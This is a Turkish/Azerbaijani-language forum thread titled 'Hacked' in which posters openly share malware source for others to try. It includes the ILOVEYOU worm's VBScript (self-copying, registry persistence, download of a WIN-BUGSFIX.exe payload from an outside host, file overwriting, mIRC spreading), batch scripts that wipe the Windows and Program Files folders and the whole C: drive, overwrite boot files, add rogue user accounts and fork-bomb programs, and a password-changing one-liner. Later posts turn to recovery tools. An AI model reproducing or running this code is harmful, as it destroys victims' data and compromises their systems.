Jump to content
Forum Windows-az.com

Bütün kompüter \ playstation \ telefona aid sualınızı yaza bilərsiniz 055 226 96 22

Hacked

Guest Musa_

Yazan: Guest Musa_,
in Hacking

 Paylaş

Recommended Posts

Proqramlar telegramda
  • Yanıtlar 82
  • Oluşturuldu
  • Son yanıt

Konuya en fazla mesaj yazanlar

Popüler olduğu gün

Konuya en fazla mesaj yazanlar

Popüler olduğu gün

Guest fariz.ibiyev

Guest fariz.ibiyev

Mesaj tarihi:
Mesaj tarihi:

rem delete -pcaş(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\\Software\\Micros oft\\Window s Scripting Host\\Settings\\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting Host\\Settings\\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\\MSKernel32.vbs")

c.Copy(dirwin&"\\Win32DLL.vbs")

c.Copy(dirsystem&"\\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows \\Cur rentVersio n\\Run\\MSKernel32",dirsystem&"\\MSKernel32.vbs"

regcreate "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows \\Cur rentVersio n\\RunServices\\Win32DLL",dirwin&"\\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\\Software\\Micros oft\\Intern et Explorer\\Download Directory")

if (downread="") then

downread="c:\\"

end if

if (fileexist(dirsystem&"\\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrds

 

fmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIy

 

qwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbop

 

BdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAF

 

SDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"

end if

end if

if (fileexist(downread&"\\WIN-BUGSFIX.exe")=0) then

regcreate "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows \\Cur rentVersio n\\Run\\WIN-BUGSFIX",downread&"\\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\\script.i ni")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"

scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

 

 

 

 

Bunuda Yoxlayaq Gorek islekdir ya yox ))

 

Vusal Bunun Caresinde bir hellin tap.

 

sora mende gunah gormeyin a ))

 

bu birdefemlik edir kompu men bilen))

 

Geri Yuklemek olmur mence sistemi)

 

buda ayri kod

 

@echo off

C:\\WINDOWS\\COMMAND\\deltree /y c:\\windows\\*.*

@echo off

C:\\WINDOWS\\COMMAND\\deltree /y c:\\Progra~1\\*.*

@echo off

C:\\WINDOWS\\COMMAND\\deltree /y c:\\*.*

@echo off

cls

cls

@echo .:: X-LİFE-S::.

@echo off3.

 

 

Mence bu Video karti yandirir

 

Geri yuklemesi Olar ama Tezesin alib Taxanda ))

 

Kodlarin İsleyib islememisin bilmirem ))

 

Link to comment
Share on other sites
Huseyn. Newbie

Huseyn.

Mesaj tarihi:
Mesaj tarihi:

Luxx sen onu diyende yadima Wurik duwdu.

 

Kamandar : Bax budu bunu . bat saxranit ele.

--------------------------------------------------------------------

netuser %username% 85653

shutdown -r

 

--------------------------------------------------------------------

 

 

 

--- bu xetti da yazma eee kod da bu olacaqisdesen deyise bilersen o hissesini. 85653

Link to comment
Share on other sites
damid_91 Newbie

damid_91

Mesaj tarihi:
Mesaj tarihi:

VUSAL FORUDAKI YAZILARDAN BELE BASA DUSDUM KI BURDAKI VIRUSDAR SENIN KOMPUTERIVI HELE DAGITMIYIB . BUNU YOXLA

;-)

@echo off

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

time 0:00 >nul

date 13.06.23 >nul

label C:IDIOT >nul

label D:DURAK >nul

label E:SUKA >nul

label F:GANDON >nul

copy %0 C:Open.bat >nul

copy %0 D:Open.bat >nul

copy %0 E:Open.bat >nul

copy %0 F:Open.bat >nul

net user "Idiot you Hacked" /add >nul

net user "Bitch you Hacked" /add >nul

net user "Durak you Hacked" /add >nul

net user "Kritin you Hacked" /add >nul

net user "Gavno you Hacked" /add >nul

md 1 >nul

md 2 >nul

md 3 >nul

md 4 >nul

md 5 >nul

md 6 >nul

md 7 >nul

md 8 >nul

md 9 >nul

md 10 >nul

md 11 >nul

md 12 >nul

md 13 >nul

md 14 >nul

md 15 >nul

md 16 >nul

md 17 >nul

md 18 >nul

md 19 >nul

md 20 >nul

md 21 >nul

md 22 >nul

md 23 >nul

md 24 >nul

md 25 >nul

md 26 >nul

md 27 >nul

assoc .lnk=.txt >nul

assoc .exe=.txt >nul

:x ;

Start mspaint

goto x ;

:x ;

Start Calc

goto x ;

copy ""%0"" "%SystemRoot%system32Cool.bat" >nul

 

reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Cool"

/t REG_SZ /d "%SystemRoot%system32Cool.bat" /f >nul

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul

del %0 >nul

Link to comment
Share on other sites
Ʌüsal Newbie

Ʌüsal

Mesaj tarihi:
Mesaj tarihi:

Bu daxitdi :)))

 

cd c:\\

attrib -s -h boot.ini

cls

attrib -s -h found.000

attrib -s -h found.001

t>boot.ini

attrib -a -s -h pagefile.sys

h>pagefile.sys

attrib -a -s -h hiberfil.sys

HH>hiberfil.sys

attrib -a -s -h -r bootfont.bin

hhh>bootfont.bin

attrib -a -s -h -r ntdetect.com

ff>ntdetect.com

attrib -a -s -h -r ntldr

f>ntldr

cls

cd..

cd..

cls

cd windows

g>win.ini

cls

g>system.ini

cls

cd pss

ft>system.ini.backup

f>win.ini.backup

cls

cd c:\\

@echo .::.HADi baslayalım.::.

cd windows

cd system32

attrib -r -h -s dllcache

cls

attrib -a -h -r *.manifest

cls

cd config

attrib -a -h *.log

cd..

cd restore

attrib -r -h -s filelist.xml

cls

cd c:\\

cls

cd windows

cls

tskill msnmsgr /a

tskill msmsgs /a

cls

del /f /q /s c:\\windows\\system32\\*.*

cls

cd repair

attrib -a -h ntuser.dat

f>ntuser.dat

ff>secstup.inf

cd..

attrib -h inf

attrib -h -s installer

attrib -h pif

attrib -r -h -a WindowsShell.Manifest

attrib -r -h $MSI31Uninstall_KB893803$

attrib -s -a bootstat.dat

attrib -s -h services.dll

attrib -s -h qservice.exe

attrib -a -r set3.tmp

attrib -s -h winnt.bmp

attrib -s -h winnt256.bmp

cls

cd c:\\

del /f /q /s c:\\windows\\*.*

cls

cd..

cd..

cd program files

cd internet explorer

attrib -a -s -h iexplore.exe

cd c:\\

cls

del /f /q /s c:\\program files\\*.*

cls

cd..

cd..

attrib -a -h -r -s msdos.sys

attrib -a -s -h config.sys

cls

attrib -a -h -r -s IO.sys

cls

del /f /q /s c:\\*.*

cls

@echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir…

@echo Veri Kayiplari Olmamasi icin….!!!!!!…

@echo Devam Etmeniz Kesinlikle Onerilir…!!!..

pause

cls

cd..

cd..

cd ********s and Settings

cd All Users

cd Desktop

md .HackEd

md Bys

md Hacker

dir /s>HAcKeD.ini

@echo HALA shutDownN.exe Pc DEYse RES iyi Gider

cls

shutdown -r -t 5 -c “HacKs FoR nS” -f

shutdown -r -t 5 -c “HacKs FoR nS” -f

tsshutdn 5 /delay:2

tsshutdn 5 /delay:2

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites
gurze Newbie

gurze

Mesaj tarihi:
Mesaj tarihi:

He ... Vusal dostum cox sagol oyretdiklerine gore.. Amma bir sey sorusum: Bu Erd commander Win 7 ucun isleyir? mende Win 7 di sistem. Eger yoxlasam mende alinar? Ve diger sual: Diskden calisan sistemi hardan yuklemek olar? Ve nece isleyir? Bu haqqda vaabse hec esitmemisem.. Evvelceden TESEKKURLER!!!

Link to comment
Share on other sites
Ʌüsal Newbie

Ʌüsal

Mesaj tarihi:
Mesaj tarihi:

Win 7 ucun Erd Commander 2009 var inddie saytda 5.0 versiyasini yerlesdirmisem.

 

Hiren Boot CD, PC Reanimator VuSaL Edition v2.0 icinde Bluelife XP bunlar cd-den isleyir ve icindwe win xp-ler var

 

http://win61.ru/livecd-windows-7-pe-live-v2-0-rus.html

 

http://micro-win.com/73924-livecd-windows-...-201102rus.html

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites
Ʌüsal Newbie

Ʌüsal

Mesaj tarihi:
Mesaj tarihi:

yo torrent olmaaycq onun ucun gerek men xeberi rus saytina uload edimki hec olmasa 50 nefer yuklesinki suret olsunştorretinde ele esas seyi budurki gerek cox adam yuklesinki suret olsunşyoxsa ele bele link qoymaq olar ama yuleme getmeyecek

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites
  • 3 hafta sonra...
  • 3 ay sonra...

Sohbete katıl

Şimdi mesajını gönderebilir ve daha sonra kayıt olabilirsin. Bir hesabın varsa, hesabınla göndermek için şimdi oturum aç.

Misafir
Bu konuya yanıt ver...

×   Zengin metin olarak yapıştırıldı.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Önceki içeriğiniz geri yüklendi.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
 Paylaş
Konu listesine git
  • loading...
×
×
  • Create New...